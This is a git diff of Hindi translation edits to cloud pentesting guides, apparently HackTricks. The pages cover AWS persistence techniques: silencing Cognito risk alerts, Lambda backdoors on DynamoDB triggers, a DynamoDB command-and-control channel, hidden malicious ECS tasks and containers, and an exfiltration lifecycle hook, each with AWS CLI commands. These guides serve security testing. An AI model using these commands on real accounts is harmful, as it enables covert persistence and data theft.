कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\ +एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए आपको **स्थानीय क्रेडेंशियल्स** की आवश्यकता होती है। डिफ़ॉल्ट रूप से आप उन्हें **हाथ से** `~/.aws/credentials` में कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\ उस फ़ाइल में आपके पास एक से अधिक प्रोफ़ाइल हो सकती हैं, यदि **कोई प्रोफ़ाइल** निर्दिष्ट नहीं की गई है तो **aws cli** का उपयोग करते समय, उस फ़ाइल में **`[default]`** नामक प्रोफ़ाइल का उपयोग किया जाएगा।\ -एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल फ़ाइल का उदाहरण: +एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल्स फ़ाइल का उदाहरण: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -339,7 +339,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के अंदर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की। +यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के भीतर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की आवश्यकता नहीं है। आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (भूमिका ग्रहण करना उपयोगकर्ता के लिए पारदर्शी तरीके से किया जाएगा)।\ एक कॉन्फ़िग फ़ाइल का उदाहरण: @@ -355,7 +355,7 @@ sts_regional_endpoints = regional ``` aws --profile acc2 ... ``` -यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **एक्सटेंशन** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं। +यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **विस्तार** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 42dbbfc67..30b97bdc1 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,17 +10,17 @@ SAML के बारे में जानकारी के लिए कृ https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -**SAML** के माध्यम से **Identity Federation** को कॉन्फ़िगर करने के लिए आपको केवल एक **नाम** और **metadata XML** प्रदान करने की आवश्यकता है जिसमें सभी SAML कॉन्फ़िगरेशन (**endpoints**, **certificate** जिसमें सार्वजनिक कुंजी है) शामिल हैं। +**SAML के माध्यम से एक पहचान संघ** को कॉन्फ़िगर करने के लिए आपको केवल एक **नाम** और **मेटाडेटा XML** प्रदान करने की आवश्यकता है जिसमें सभी SAML कॉन्फ़िगरेशन (**एंडपॉइंट्स**, **सार्वजनिक कुंजी के साथ प्रमाणपत्र**) शामिल हैं। ## OIDC - Github Actions Abuse -एक github action को Identity provider के रूप में जोड़ने के लिए: +एक github क्रिया को पहचान प्रदाता के रूप में जोड़ने के लिए: 1. _Provider type_ के लिए, **OpenID Connect** चुनें। 2. _Provider URL_ के लिए, `https://token.actions.githubusercontent.com` दर्ज करें। -3. प्रदाता का थंबप्रिंट प्राप्त करने के लिए _Get thumbprint_ पर क्लिक करें। +3. प्रदाता के थंबप्रिंट को प्राप्त करने के लिए _Get thumbprint_ पर क्लिक करें। 4. _Audience_ के लिए, `sts.amazonaws.com` दर्ज करें। -5. एक **नया भूमिका** बनाएं जिसमें **permissions** हों जो github action को चाहिए और एक **trust policy** जो प्रदाता पर भरोसा करती हो जैसे: +5. एक **नया भूमिका** बनाएं जिसमें **permissions** हों जो github क्रिया को चाहिए और एक **trust policy** जो प्रदाता पर भरोसा करती हो जैसे: - ```json { "Version": "2012-10-17", @@ -44,9 +44,9 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ] } ``` -6. पिछले नीति में ध्यान दें कि केवल एक **branch** को **repository** के **organization** से एक विशिष्ट **trigger** के साथ अधिकृत किया गया था। -7. **role** का **ARN** जिसे github action **impersonate** करने में सक्षम होगा, वह "secret" होगा जिसे github action को जानने की आवश्यकता है, इसलिए इसे एक **secret** के अंदर एक **environment** में **store** करें। -8. अंत में, AWS creds को कॉन्फ़िगर करने के लिए एक github action का उपयोग करें जो workflow द्वारा उपयोग किया जाएगा: +6. पिछले नीति में ध्यान दें कि केवल एक **branch** को एक **organization** के **repository** से एक विशिष्ट **trigger** के साथ अधिकृत किया गया था। +7. **ARN** उस **role** का होगा जिसे github क्रिया **impersonate** कर सकेगी, इसलिए इसे एक **secret** के अंदर एक **environment** में **store** करें। +8. अंत में, कार्यप्रवाह द्वारा उपयोग किए जाने वाले AWS creds को कॉन्फ़िगर करने के लिए एक github क्रिया का उपयोग करें: ```yaml name: "test AWS Access" @@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve ] } ``` -यह नीति सही ढंग से संकेत कर रही है कि **केवल** **EKS क्लस्टर** जिसका **id** `20C159CDF6F2349B68846BEC03BE031B` है, वह भूमिका ग्रहण कर सकता है। हालाँकि, यह यह नहीं बता रहा है कि कौन सी सेवा खाता इसे ग्रहण कर सकता है, जिसका अर्थ है कि **कोई भी सेवा खाता जिसमें एक वेब पहचान टोकन है** वह भूमिका ग्रहण करने में **सक्षम होगा**। +यह नीति सही ढंग से संकेत कर रही है कि **केवल** **EKS क्लस्टर** जिसका **id** `20C159CDF6F2349B68846BEC03BE031B` है, वह भूमिका ग्रहण कर सकता है। हालाँकि, यह यह नहीं बता रहा है कि कौन सी सेवा खाता इसे ग्रहण कर सकता है, जिसका अर्थ है कि **किसी भी सेवा खाते के पास एक वेब पहचान टोकन** होने पर वह भूमिका ग्रहण करने में **सक्षम** होगा। **जिस सेवा खाते को भूमिका ग्रहण करने में सक्षम होना चाहिए,** उसे निर्दिष्ट करने के लिए, एक **शर्त** निर्दिष्ट करना आवश्यक है जहाँ **सेवा खाता नाम निर्दिष्ट किया गया है**, जैसे: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 26933b4e1..6bbbe8e13 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -ये वे अनुमतियाँ हैं जो आपको प्रत्येक AWS खाते पर चाहिए जिन्हें आप ऑडिट करना चाहते हैं ताकि आप सभी प्रस्तावित AWS ऑडिट टूल चला सकें: +ये वे अनुमतियाँ हैं जो आपको प्रत्येक AWS खाते पर चाहिए होती हैं जिसे आप ऑडिट करना चाहते हैं ताकि आप सभी प्रस्तावित AWS ऑडिट टूल चला सकें: - डिफ़ॉल्ट नीति **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) - [aws_iam_review](https://github.com/carlospolop/aws_iam_review) चलाने के लिए आपको निम्नलिखित अनुमतियों की भी आवश्यकता है: @@ -10,8 +10,8 @@ - **access-analyzer:Get\*** - **iam:CreateServiceLinkedRole** - **access-analyzer:CreateAnalyzer** -- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक उत्पन्न करता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है) +- वैकल्पिक यदि क्लाइंट आपके लिए एनालाइज़र उत्पन्न करता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है) - **access-analyzer:DeleteAnalyzer** -- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक हटा देता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है) +- वैकल्पिक यदि क्लाइंट आपके लिए एनालाइज़र हटा देता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index 61262b97b..e28e30238 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -14,12 +14,12 @@ Cognito एक सेवा है जो अनधिकृत और अधिकृत उपयोगकर्ताओं को भूमिकाएँ देने और उपयोगकर्ताओं के एक निर्देशिका को नियंत्रित करने की अनुमति देती है। कुछ स्थिरता बनाए रखने के लिए कई विभिन्न कॉन्फ़िगरेशन को बदला जा सकता है, जैसे: -- **एक उपयोगकर्ता पूल** जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है, को एक पहचान पूल में जोड़ना -- एक **IAM भूमिका को अनधिकृत पहचान पूल को देना और बेसिक ऑथ फ्लो की अनुमति देना** -- या एक **अधिकृत पहचान पूल** में यदि हमलावर लॉगिन कर सकता है +- **एक User Pool जोड़ना** जिसे एक Identity Pool में उपयोगकर्ता द्वारा नियंत्रित किया जाता है +- एक **IAM भूमिका देना** एक अनधिकृत Identity Pool को और Basic auth flow की अनुमति देना +- या एक **अधिकृत Identity Pool** को यदि हमलावर लॉगिन कर सकता है - या दिए गए भूमिकाओं के **अनुमतियों में सुधार करना** -- **विशेषताएँ नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से बनाना, सत्यापित करना और प्रिवेस्क करना** एक **उपयोगकर्ता पूल** में -- **बाहरी पहचान प्रदाताओं** को एक उपयोगकर्ता पूल या एक पहचान पूल में लॉगिन करने की अनुमति देना +- **Attributes नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से Create, verify & privesc** एक **User Pool** में +- **बाहरी Identity Providers को** एक User Pool या एक Identity Pool में लॉगिन करने की अनुमति देना इन क्रियाओं को कैसे करना है, यह देखें @@ -29,11 +29,11 @@ Cognito एक सेवा है जो अनधिकृत और अधि ### `cognito-idp:SetRiskConfiguration` -इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए: +इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI की जांच करें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` -डिफ़ॉल्ट रूप से यह अक्षम है: +डिफ़ॉल्ट रूप से यह अक्षम है:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index cc41e14a3..39753a620 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -12,7 +12,7 @@ ### DynamoDB ट्रिगर्स के साथ Lambda बैकडोर -DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब कोई आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है। +DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब एक आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है। ```bash # Create a malicious Lambda function aws lambda create-function \ @@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \ --event-source \ --region ``` -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. +धारण बनाए रखने के लिए, हमलावर DynamoDB तालिका में आइटम बना या संशोधित कर सकता है, जो दुर्भावनापूर्ण Lambda फ़ंक्शन को ट्रिगर करेगा। इससे हमलावर को Lambda फ़ंक्शन के साथ सीधे इंटरैक्शन के बिना AWS खाते के भीतर कोड निष्पादित करने की अनुमति मिलती है। -### DynamoDB as a C2 Channel +### DynamoDB को C2 चैनल के रूप में -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +एक हमलावर DynamoDB तालिका का **कमांड और नियंत्रण (C2) चैनल** के रूप में उपयोग कर सकता है, आइटम बनाकर जिनमें कमांड होते हैं और समझौता किए गए उदाहरणों या Lambda फ़ंक्शंस का उपयोग करके इन कमांड को लाने और निष्पादित करने के लिए। ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -संपर्कित उदाहरण या लैम्ब्डा फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को संपर्कित संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है। +समझौता किए गए उदाहरण या Lambda फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को समझौता किए गए संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 78978da49..e5d71a6f5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -14,20 +14,20 @@ यदि एक रक्षक पाता है कि एक **EC2 उदाहरण से समझौता किया गया था**, तो वह शायद **नेटवर्क** को **आइसोलेट** करने की कोशिश करेगा। वह एक स्पष्ट **Deny NACL** के साथ ऐसा कर सकता है (लेकिन NACLs पूरे सबनेट को प्रभावित करते हैं), या **सुरक्षा समूह को बदलकर** **किसी भी प्रकार के इनबाउंड या आउटबाउंड** ट्रैफ़िक की अनुमति नहीं देता। -यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** था, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को नहीं मारा जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**।** +यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** है, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को समाप्त नहीं किया जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** के कारण।** ### EC2 जीवनचक्र प्रबंधक यह सेवा **AMIs और स्नैपशॉट्स** के **निर्माण को शेड्यूल** करने की अनुमति देती है और यहां तक कि **उन्हें अन्य खातों के साथ साझा** भी कर सकती है।\ -एक हमलावर **हर सप्ताह सभी छवियों या सभी वॉल्यूम्स के AMIs या स्नैपशॉट्स** का **उत्पादन** कॉन्फ़िगर कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है। +एक हमलावर **हर सप्ताह** सभी छवियों या सभी वॉल्यूम के **AMIs या स्नैपशॉट्स** के **उत्पादन को कॉन्फ़िगर** कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है। ### अनुसूचित उदाहरण -यह दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से उदाहरणों को चलाने के लिए शेड्यूल करना संभव है। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है। +यह संभव है कि उदाहरणों को दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से चलाने के लिए शेड्यूल किया जाए। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है। ### स्पॉट फ़्लीट अनुरोध -स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष के लिए एक छोटा स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ। +स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष** के लिए एक **छोटी स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ। ### बैकडोर उदाहरण @@ -41,7 +41,7 @@ - उपयोग किए गए AMI को बैकडोर करें - उपयोगकर्ता डेटा को बैकडोर करें -- कुंजी जोड़ी को बैकडोर करें +- की जोड़ी को बैकडोर करें ### VPN diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index d692fdafe..5eeb3ba5a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -12,7 +12,7 @@ ### Hidden Docker Image with Malicious Code -एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे कि Amazon ECS या EKS, में चुपचाप तैनात कर सकता है। +एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे Amazon ECS या EKS, में चुपचाप तैनात कर सकता है। ### Repository Policy @@ -41,15 +41,15 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> ध्यान दें कि ECR को उपयोगकर्ताओं के पास **अनुमति** होनी चाहिए कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **तब तक जब तक वे एक रजिस्ट्री में प्रमाणित नहीं हो सकते** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल नहीं कर सकते। +> ध्यान दें कि ECR को उपयोगकर्ताओं के लिए **अनुमति** की आवश्यकता होती है कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **इससे पहले कि वे किसी रजिस्ट्री में प्रमाणित हो सकें** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल कर सकें। -### रजिस्ट्री नीति और क्रॉस-खाता पुनरुत्पादन +### रजिस्ट्री नीति और क्रॉस-खाता प्रतिकृति -एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से पुनरुत्पादित करना संभव है, जहां आपको **बाहरी खाते** को इंगित करने की आवश्यकता है जहां आप रजिस्ट्री को पुनरुत्पादित करना चाहते हैं। +एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जिसमें आपको क्रॉस-खाता प्रतिकृति को कॉन्फ़िगर करना होगा, जहाँ आपको **बाहरी खाते** को इंगित करना होगा जहाँ आप रजिस्ट्री को प्रतिकृत करना चाहते हैं।
-पहले, आपको बाहरी खाते को रजिस्ट्री पर पहुंच प्रदान करने की आवश्यकता है एक **रजिस्ट्री नीति** के साथ जैसे: +पहले, आपको रजिस्ट्री पर बाहरी खाते को **रजिस्ट्री नीति** के माध्यम से पहुंच प्रदान करनी होगी जैसे: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index a70b2ab93..da2244413 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -15,7 +15,7 @@ > [!NOTE] > TODO: Test -एक हमलावर Amazon EventBridge का उपयोग करके **एक दुर्भावनापूर्ण कार्य को नियमित रूप से निष्पादित करने के लिए शेड्यूल करने के लिए एक छिपा हुआ आवधिक ECS कार्य बना सकता है**। यह कार्य अन्वेषण कर सकता है, डेटा को बाहर निकाल सकता है, या AWS खाते में स्थिरता बनाए रख सकता है। +An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ @@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ > [!NOTE] > TODO: Test -एक हमलावर एक **छिपा हुआ बैकडोर कंटेनर** को एक मौजूदा ECS टास्क परिभाषा में जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है। +एक हमलावर एक मौजूदा ECS टास्क परिभाषा में एक **छिपा हुआ बैकडोर कंटेनर** जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है। ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ @@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition > [!NOTE] > TODO: Test -एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को अक्षम करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है। +एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को बंद करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है। ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index 582c36397..bd0ba27aa 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -1,4 +1,4 @@ -# AWS - EFS Persistence +# AWS - EFS स्थिरता {{#include ../../../banners/hacktricks-training.md}} @@ -12,10 +12,10 @@ ### संसाधन नीति / सुरक्षा समूहों को संशोधित करें -**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को बनाए रखने का प्रयास कर सकते हैं। +**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को स्थायी बनाने का प्रयास कर सकते हैं। -### एक्सेस पॉइंट बनाएं +### पहुँच बिंदु बनाएँ -आप **एक्सेस पॉइंट बना सकते हैं** (जिसमें `/` पर रूट एक्सेस हो) जिसे एक सेवा से एक्सेस किया जा सकता है जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थायीता** लागू की है। +आप **एक पहुँच बिंदु बना सकते हैं** (जिसमें `/` पर रूट पहुँच हो) जिसे एक सेवा से पहुँचा जा सके जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थिरता** लागू की है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index b18b06f30..0067f91c4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -18,16 +18,16 @@ AWS खाते के अंदर स्थिरता बनाए रख एक हमलावर S3 repo के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे। -### नया बैकडोर संस्करण +### नया बैकडोर वाला संस्करण -वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर संस्करण तैनात कर सकता है। +वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर वाला संस्करण तैनात कर सकता है। ### कस्टम रिसोर्स लाइफसाइकिल हुक का दुरुपयोग > [!NOTE] > TODO: Test -Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को निकालने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**। +Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को एक्सफिल्ट्रेट करने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**। ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 8b9285d61..a050099aa 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -17,7 +17,7 @@ - एक्सेस कुंजी बनाएं (नए उपयोगकर्ता या सभी उपयोगकर्ताओं की) - नियंत्रित उपयोगकर्ताओं/समूहों को अतिरिक्त अनुमतियाँ दें (संलग्न नीतियाँ या इनलाइन नीतियाँ) - MFA को निष्क्रिय करें / अपना खुद का MFA उपकरण जोड़ें -- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर नीचे STS स्थिरता में अधिक) +- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर अधिक जानकारी नीचे STS स्थिरता में) ### बैकडोर भूमिका ट्रस्ट नीतियाँ diff 